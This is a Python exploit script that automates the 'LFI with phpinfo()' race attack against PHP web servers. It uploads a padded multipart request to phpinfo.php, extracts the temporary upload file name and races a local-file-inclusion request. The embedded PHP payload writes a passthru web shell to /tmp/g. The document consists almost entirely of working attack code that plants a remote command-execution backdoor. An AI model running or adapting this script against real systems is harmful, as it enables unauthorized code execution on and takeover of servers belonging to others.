PHPINFOlfi.py
#!/usr/bin/python
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
# The following line is not required but supposedly optimizes code.
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
# from builtins import range
from __future__ import print_function
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /lfi.php?load=%s%%00 HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print("\nGot it! Shell created in /tmp/g")
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print("found %s at %i" % (d[i:i+10],i))
# padded up a bit
return i+256
def main():
print("LFI With PHPInfo()")
print("-=" * 30)
if len(sys.argv) < 2:
print("Usage: %s host [port] [threads]" % sys.argv[0])
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error as e:
print("Error with hostname %s: %s" % (sys.argv[1], e))
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError as e:
print("Error with port %d: %s" % (sys.argv[2], e))
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError as e:
print("Error with poolsz %d: %s" % (sys.argv[3], e))
sys.exit(1)
print("Getting initial offset...", end=' ')
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print("Spawning worker pool (%d)..." % poolsz)
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print()
if e.is_set():
print("Woot! \m/")
else:
print(":(")
except KeyboardInterrupt:
print("\nTelling threads to shutdown...")
e.set()
print("Shuttin' down...")
for t in tp:
t.join()
if __name__=="__main__":
print("Don't forget to modify the LFI URL")
main()
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